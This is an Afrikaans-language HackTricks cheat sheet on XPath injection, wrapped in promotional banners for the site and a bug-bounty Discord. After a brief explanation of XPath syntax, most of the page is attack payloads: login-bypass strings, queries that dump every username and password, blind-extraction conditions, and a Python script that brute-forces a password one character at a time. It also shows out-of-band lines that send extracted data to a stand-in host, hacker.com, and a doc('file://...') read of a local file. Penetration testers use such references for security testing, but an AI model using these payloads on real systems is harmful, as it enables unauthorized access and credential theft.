13 KiB
XPATH inspuiting
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
Sluit aan by HackenProof Discord bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
Hakinsigte
Raak betrokke by inhoud wat die opwinding en uitdagings van hakkerige ondersoek
Haknuus in Werklikheid
Bly op hoogte van die vinnige hakwêreld deur werklike nuus en insigte
Nuutste Aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en noodsaaklike platformopdaterings
Sluit by ons aan op Discord en begin vandag saamwerk met top-hackers!
Basiese sintaksis
'n Aanvalstegniek wat bekend staan as XPath-inspuiting word gebruik om voordeel te trek uit toepassings wat XPath (XML Path Language) navrae vorm op grond van gebruikersinvoer om XML-dokumente te ondersoek of te navigeer.
Beskrywings van Node
Uitdrukkings word gebruik om verskeie nodes in 'n XML-dokument te kies. Hierdie uitdrukkings en hul beskrywings word hieronder saamgevat:
- nodenaam: Alle nodes met die naam "nodenaam" word gekies.
- /: Die keuse word gemaak vanaf die wortelnode.
- //: Nodes wat ooreenstem met die keuse vanaf die huidige node word gekies, ongeag hul posisie in die dokument.
- .: Die huidige node word gekies.
- ..: Die ouer van die huidige node word gekies.
- @: Eienskappe word gekies.
XPath-voorbeelde
Voorbeelde van paduitdrukkings en hul resultate sluit in:
- boekwinkel: Alle nodes met die naam "boekwinkel" word gekies.
- /boekwinkel: Die wortelelement boekwinkel word gekies. Dit word opgemerk dat 'n absolute pad na 'n element voorgestel word deur 'n pad wat met 'n skuiwe (/) begin.
- boekwinkel/boek: Alle boekelemente wat kinders van boekwinkel is, word gekies.
- //boek: Alle boekelemente in die dokument word gekies, ongeag hul posisie.
- boekwinkel//boek: Alle boekelemente wat afstammelinge van die boekwinkel-element is, word gekies, ongeag hul posisie onder die boekwinkel-element.
- //@taal: Alle eienskappe met die naam taal word gekies.
Gebruik van Predikate
Predikate word gebruik om seleksies te verfyn:
- /boekwinkel/boek[1]: Die eerste boekelementkind van die boekwinkel-element word gekies. 'n Omweg vir IE-weergawes 5 tot 9, wat die eerste node indeks as [0] indekseer, is om die SelectionLanguage na XPath te stel deur JavaScript.
- /boekwinkel/boek[laaste()]: Die laaste boekelementkind van die boekwinkel-element word gekies.
- /boekwinkel/boek[laaste()-1]: Die voorlaaste boekelementkind van die boekwinkel-element word gekies.
- /boekwinkel/boek[posisie()<3]: Die eerste twee boekelementkinder van die boekwinkel-element word gekies.
- //titel[@taal]: Alle titel-elemente met 'n taal-eienskap word gekies.
- //titel[@taal='af']: Alle titel-elemente met 'n "taal" eienskapswaarde van "af" word gekies.
- /boekwinkel/boek[prys>35.00]: Alle boekelemente van die boekwinkel met 'n prys groter as 35.00 word gekies.
- /boekwinkel/boek[prys>35.00]/titel: Alle titel-elemente van die boekelemente van die boekwinkel met 'n prys groter as 35.00 word gekies.
Hantering van Onbekende Nodes
Wildcards word gebruik om ooreenstemmende onbekende nodes:
- *: Stem ooreen met enige elementnode.
- @*: Stem ooreen met enige eienskapnode.
- node(): Stem ooreen met enige node van enige aard.
Verdere voorbeelde sluit in:
- /boekwinkel/*: Kies al die kinderelementnodes van die boekwinkel-element.
- //*: Kies alle elemente in die dokument.
- //titel[@*]: Kies alle titel-elemente met ten minste een eienskap van enige aard.
Voorbeeld
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
Kry toegang tot die inligting
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Identifiseer & steel die skema
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Verifikasie deurloop
Voorbeeld van navrae:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
OF omseil in gebruiker en wagwoord (gelyke waarde in beide)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Misbruik van nulinspuiting
Username: ' or 1]%00
Dubbele OF in Gebruikersnaam of in wagwoord (is geldig met slegs 1 kwesbare veld)
BELANGRIK: Let daarop dat die "en" die eerste operasie is wat uitgevoer word.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
String ekstraksie
Die uitset bevat strings en die gebruiker kan die waardes manipuleer om te soek:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Blinde Uitbuiting
Kry lengte van 'n waarde en onttrek dit deur vergelykings:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Python Voorbeeld
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
Lees lêer
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
OOB Uitbuiting
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
Outomatiese gereedskap
Verwysings
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection
- https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)
- https://www.w3schools.com/xml/xpath_syntax.asp
Sluit aan by HackenProof Discord bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
Hack-insigte
Gaan aan met inhoud wat die opwinding en uitdagings van hack bekyk
Hack Nuus in Werklikheid
Bly op hoogte van die snelveranderende hackwêreld deur werklikheidsnuus en insigte
Nuutste Aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en belangrike platformopdaterings
Sluit aan by ons op Discord en begin vandag saamwerk met top hackers!
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kontroleer die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.